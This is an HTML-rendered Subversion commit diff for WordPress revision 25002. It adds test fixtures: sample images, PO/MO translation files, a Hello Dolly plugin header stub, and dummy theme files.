</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagecmykjpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-cmyk.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-cmyk.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-cmyk.jpg 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-cmyk.jpg  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-cmyk.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnexecutable"></a>
<div class="addfile"><h4>Added: svn:executable</h4></div>
<ins>+*
</ins><span class="cx">\ No newline at end of property
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagegrayscalejpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-grayscale.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-grayscale.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-grayscale.jpg    2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-grayscale.jpg     2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-grayscale.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="svnexecutable"></a>
<div class="addfile"><h4>Added: svn:executable</h4></div>
<ins>+*
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimageiptcjpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-iptc.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-iptc.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-iptc.jpg 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-iptc.jpg  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-iptc.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagelzwtiff"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-lzw.tiff</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-lzw.tiff
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-lzw.tiff 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-lzw.tiff  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-lzw.tiff
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagemimejpgpng"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-mime-jpg.png</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-mime-jpg.png
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-mime-jpg.png     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-mime-jpg.png      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-mime-jpg.png
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimageziptiff"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image-zip.tiff</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image-zip.tiff
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image-zip.tiff 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image-zip.tiff  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image-zip.tiff
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagebmp"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.bmp</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.bmp
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.bmp      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.bmp       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.bmp
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagegif"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.gif</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.gif
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.gif      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.gif       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.gif
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagejp2"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.jp2</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.jp2
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.jp2      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.jp2       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.jp2
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagejpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.jpg      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.jpg       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagepct"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.pct</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.pct
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.pct      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.pct       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.pct
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagepng"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.png</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.png
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.png      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.png       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.png
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagepsd"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.psd</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.psd
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.psd      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.psd       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.psd
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagesgi"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.sgi</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.sgi
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.sgi      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.sgi       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.sgi
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagetga"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.tga</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.tga
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.tga      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.tga       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.tga
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestestimagetiff"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/test-image.tiff</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/test-image.tiff
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/test-image.tiff     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/test-image.tiff      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/test-image.tiff
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagestransparentpng"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/transparent.png</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/transparent.png
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/transparent.png     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/transparent.png      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/transparent.png
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimageswafflesjpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/waffles.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/waffles.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/waffles.jpg 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/waffles.jpg  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/waffles.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><span class="cx">Index: trunk/tests/data/plugins
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/plugins    2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/plugins     2013-08-07 06:38:38 UTC (rev 25002)
</ins><a id="trunktestsdataplugins"></a>
<div class="propset"><h4>Property changes: trunk/tests/data/plugins</h4>
<pre class="diff"><span>
</span></pre></div>
<a id="svnexternals"></a>
<div class="addfile"><h4>Added: svn:externals</h4></div>
<ins>+wordpress-importer https://plugins.svn.wordpress.org/wordpress-importer/trunk/
</ins><a id="trunktestsdatapluginshellophp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/plugins/hello.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/plugins/hello.php                               (rev 0)
+++ trunk/tests/data/plugins/hello.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,14 @@
</span><ins>+<?php
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/#
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+Text Domain: hello-dolly
+
+*/
+
+// Test for 
+?>
</ins></span></pre></div>
<a id="trunktestsdatapomobad_npluralsmo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/bad_nplurals.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/bad_nplurals.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/bad_nplurals.mo       2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/bad_nplurals.mo        2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/bad_nplurals.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomobad_npluralspo"></a>
<div class="addfile"><h4>Added: trunk/tests/data/pomo/bad_nplurals.po (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/pomo/bad_nplurals.po                            (rev 0)
+++ trunk/tests/data/pomo/bad_nplurals.po       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,18 @@
</span><ins>+msgid ""
+msgstr ""
+"Project-Id-Version: bbPress 1.0.4 alpha\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-26 17:07+0100\n"
+"Last-Translator: Fernando Tellado <fernando.tellado@gmail.com>\n"
+"Language-Team: ayudawordpress.com <admin@ayudawordpress.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: spanish\n"
+"X-Poedit-Country: spain\n"
+"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
+
+msgid "%d forum"
+msgid_plural "%d forums"
+msgstr[0] "%d foro"
+msgstr[1] "%d foros"
</ins></span></pre></div>
<a id="trunktestsdatapomocontextmo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/context.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/context.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/context.mo    2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/context.mo     2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/context.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomode_DE28mo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/de_DE-2.8.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/de_DE-2.8.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/de_DE-2.8.mo  2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/de_DE-2.8.mo   2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/de_DE-2.8.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomoemptypo"></a>
<div class="addfile"><h4>Added: trunk/tests/data/pomo/empty.po ( => )</h4>
<pre class="diff"><span>
<span class="info">Added: trunk/tests/data/pomo/mo.pot
===================================================================
</span><del>--- trunk/tests/data/pomo/mo.pot                                (rev 0)
</del><ins>+++ trunk/tests/data/pomo/mo.pot 2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="lines">@@ -0,0 +1,25 @@
</span><ins>+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR WordPress
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-06-28 11:07+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-admin/includes/continents-cities.php:7
+msgid "Africa"
+msgstr ""
+
+#: wp-admin/includes/continents-cities.php:8
+msgid "Abidjan"
+msgstr ""
</ins></span></pre></div>
<a id="trunktestsdatapomooverloadmo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/overload.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/overload.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/overload.mo   2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/overload.mo    2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/overload.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomopluralmo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/plural.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/plural.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/plural.mo     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/plural.mo      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/plural.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomosimplemo"></a>
<div class="binary"><h4>Added: trunk/tests/data/pomo/simple.mo</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/pomo/simple.mo
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/pomo/simple.mo     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/pomo/simple.mo      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/pomo/simple.mo
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdatapomosimplepo"></a>
<div class="addfile"><h4>Added: trunk/tests/data/pomo/simple.po (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/pomo/simple.po                          (rev 0)
+++ trunk/tests/data/pomo/simple.po     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,54 @@
</span><ins>+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.6-bleeding\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr ""
+
+msgctxt "brum"
+msgid "strut"
+msgid_plural "struts"
+msgstr[0] "ztrut0"
+msgstr[1] "ztrut1"
+msgstr[2] "ztrut2"
+
+msgid ""
+"The first thing you need to do is tell Blogger to let WordPress access your "
+"account. You will be sent back here after providing authorization."
+msgstr "baba\n"
+"dyado"
+"gugu"
+
+msgctxt ""
+"con"
+"text"
+msgid ""
+"sing"
+"ular"
+msgid_plural ""
+"plu"
+"ral"
+msgstr[0] ""
+"trans"
+"lation0"
+msgstr[1] ""
+"trans"
+"lation1"
+msgstr[2] ""
+"translation2"
+
+
+
+# baba
+#: wp-admin/x.php:111 baba:333
+#. translators: buuu
+#       brubru
+#, fuzzy
+#: baba
+msgid "a"
+msgstr ""
+
+msgid "a\""
+msgstr ""
+
</ins></span></pre></div>
<a id="trunktestsdatapomowindowslineendingspo"></a>
<div class="addfile"><h4>Added: trunk/tests/data/pomo/windows-line-endings.po (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/pomo/windows-line-endings.po                            (rev 0)
+++ trunk/tests/data/pomo/windows-line-endings.po       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+msgid ""
+msgstr ""
+"Project-Id-Version: Windows 3.11\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr "yuhu"
</ins></span></pre></div>
<a id="trunktestsdatathemedir1defaultfunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/default/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/default/functions.php                         (rev 0)
+++ trunk/tests/data/themedir1/default/functions.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1defaultindexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/default/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/default/index.php                             (rev 0)
+++ trunk/tests/data/themedir1/default/index.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,7 @@
</span><ins>+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1defaultstylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/default/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/default/style.css                             (rev 0)
+++ trunk/tests/data/themedir1/default/style.css        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,17 @@
</span><ins>+/*  
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+
+       Kubrick v1.5
+        http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
</ins></span></pre></div>
<a id="trunktestsdatathemedir1pagetemplatesindexphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/page-templates/index.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/page-templates/index.php                              (rev 0)
+++ trunk/tests/data/themedir1/page-templates/index.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,3 @@
</span><ins>+<?php
+// Intentionally left blank
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1pagetemplatesstylecss"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/page-templates/style.css (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/page-templates/style.css                              (rev 0)
+++ trunk/tests/data/themedir1/page-templates/style.css 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+/*  
+Theme Name: Page Template Theme
+Theme URI: http://example.org/
+Description: An example theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1pagetemplatessubdirtemplatesubdirphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/page-templates/subdir/template-sub-dir.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/page-templates/subdir/template-sub-dir.php                            (rev 0)
+++ trunk/tests/data/themedir1/page-templates/subdir/template-sub-dir.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+<?php
+/*
+   Template Name: Sub Dir 
+ */
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1pagetemplatestemplateheaderphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/page-templates/template-header.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/page-templates/template-header.php                            (rev 0)
+++ trunk/tests/data/themedir1/page-templates/template-header.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1 @@
</span><ins>+<?php // Template Name: This Template Header Is On One Line ?>
</ins></span></pre></div>
<a id="trunktestsdatathemedir1pagetemplatestemplatetoplevelphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/page-templates/template-top-level.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/themedir1/page-templates/template-top-level.php                         (rev 0)
+++ trunk/tests/data/themedir1/page-templates/template-top-level.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+<?php
+/*
+   Template Name: Top Level 
+ */
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdatathemedir1sandboxfunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/themedir1/sandbox/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
